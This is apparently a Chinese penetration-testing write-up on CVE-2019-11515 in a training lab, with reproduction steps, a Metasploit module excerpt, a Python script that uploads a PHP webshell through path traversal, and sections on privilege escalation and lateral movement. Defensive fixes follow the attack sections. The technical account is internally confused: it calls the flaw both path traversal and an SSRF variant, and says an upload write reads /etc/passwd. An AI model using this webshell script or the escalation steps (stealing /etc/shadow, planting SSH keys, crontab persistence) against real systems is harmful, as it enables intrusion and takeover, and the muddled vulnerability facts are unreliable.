1. CVE-2019-11515漏洞背景解析
2019年曝光的CVE-2019-11515是一个典型的路径遍历漏洞,影响范围主要集中在使用特定版本Web框架的应用程序。这个漏洞允许攻击者通过精心构造的HTTP请求,绕过系统安全限制访问服务器上的敏感文件。在实际渗透测试中,我们发现该漏洞常出现在未及时更新补丁的企业内部系统中。
漏洞的CVSS评分为7.5(高危),属于服务器端请求伪造(SSRF)漏洞的一个变种。攻击者利用此漏洞可以:
- 读取服务器配置文件
- 获取数据库凭证
- 下载应用程序源代码
- 探查服务器内部网络拓扑
注意:虽然漏洞已公布多年,但在未打补丁的旧系统中仍然广泛存在,这也是春秋云境将其纳入靶场的重要原因。
2. 漏洞环境搭建与复现
2.1 春秋云境靶场环境配置
春秋云境提供的漏洞环境已经预置了存在漏洞的Web应用。启动环境后,我们会看到一个简单的文件上传界面,这正是漏洞的触发点。环境采用以下技术栈:
- Ubuntu 18.04 LTS
- Apache 2.4.29
- PHP 7.2.24
- 存在漏洞的自定义文件管理组件
2.2 漏洞触发条件分析
该漏洞的核心触发点在于文件上传功能对用户输入路径的校验不足。当用户上传文件时,系统允许通过filename参数指定存储路径,但未对路径中的特殊字符进行过滤。攻击者可以通过构造包含../的路径字符串,实现目录穿越。
典型的有漏洞代码如下:
$uploadDir = '/var/www/uploads/'; $filename = $_POST['filename']; $filepath = $uploadDir . $filename; move_uploaded_file($_FILES['file']['tmp_name'], $filepath);2.3 手工复现步骤
- 使用Burp Suite拦截文件上传请求
- 修改POST请求中的filename参数为:
../../../../etc/passwd - 发送修改后的请求
- 访问上传后的文件路径,验证是否成功读取到系统文件
在实际测试中,我们发现Windows和Linux系统的路径分隔符差异会影响利用效果。对于Windows系统,需要使用..\进行路径穿越。
3. 漏洞自动化利用技术
3.1 Metasploit模块分析
Metasploit框架已经集成了该漏洞的利用模块:
exploit/multi/http/cve_2019_11515_upload模块核心参数配置:
def exploit # 构造恶意文件名 traversal = "../" * rand(5..10) fname = traversal + rand_text_alpha(5..10) + ".php" # 发送包含恶意文件名的上传请求 send_request_cgi({ 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, 'upload.php'), 'vars_post' => { 'filename' => fname, 'file' => payload.encoded } }) end3.2 Python利用脚本开发
对于需要定制化利用的场景,可以编写Python脚本:
import requests target = "http://target.com/upload.php" shell = "<?php system($_GET['cmd']); ?>" files = { 'file': ('shell.php', shell) } params = { 'filename': '../../var/www/html/shell.php' } r = requests.post(target, files=files, data=params) if r.status_code == 200: print("[+] Webshell uploaded successfully") print(f"Access at: {target.replace('upload.php','shell.php')}?cmd=whoami") else: print("[-] Exploit failed")提示:实际渗透中建议先尝试读取
/proc/self/environ获取环境变量信息,这往往能发现更多可利用的线索。
4. 漏洞防御与修复方案
4.1 临时缓解措施
对于无法立即升级的系统,可采取以下临时方案:
- 在Web应用前端添加输入过滤:
$filename = str_replace(['../','..\\'], '', $_POST['filename']); - 配置Apache的
httpd.conf限制访问路径:<Directory "/var/www/uploads"> AllowOverride None Require all denied </Directory>
4.2 永久修复方案
官方提供的完整修复方案包括:
- 升级到框架的最新版本
- 实现白名单校验机制:
$allowed_chars = '/^[a-zA-Z0-9_\-\.]+$/'; if(!preg_match($allowed_chars, $filename)) { die("Invalid filename"); } - 使用随机生成的文件名存储上传文件
- 设置上传目录不可执行
4.3 防御深度检测
建议在修复后使用以下方法验证防御效果:
- 使用OWASP ZAP进行自动化扫描
- 手工测试各种路径穿越变体:
- URL编码:
%2e%2e%2f - 双重编码:
%252e%252e%252f - UTF-8编码:
..%c0%af
- URL编码:
- 检查服务器日志确认拦截效果
5. 漏洞挖掘与拓展利用
5.1 源代码审计技巧
在审计类似漏洞时,重点关注以下代码模式:
- 未过滤的用户输入直接拼接进文件路径
- 使用
file_get_contents()、fopen()等函数处理用户可控参数 - 动态包含文件时使用用户输入作为路径
使用正则表达式快速定位潜在漏洞点:
grep -r "move_uploaded_file.*\$_POST" /var/www/html grep -r "file_put_contents.*\$_GET" /var/www/html5.2 权限提升路径
成功利用该漏洞后,通常可以尝试以下提权方法:
- 读取
/etc/shadow获取哈希进行破解 - 查找Web服务器配置文件中的数据库凭证
- 写入SSH公钥到
authorized_keys - 利用
crontab写入定时任务
5.3 内网横向移动
获得立足点后,可收集以下信息用于内网渗透:
# 网络配置 ifconfig route -n cat /etc/resolv.conf # 用户信息 cat /etc/passwd lastlog # 运行服务 netstat -tulnp ps aux在实际渗透测试项目中,我们发现该漏洞常与其他漏洞形成组合拳。比如先通过CVE-2019-11515获取配置文件,再从中发现数据库凭证,最终实现对整个系统的控制。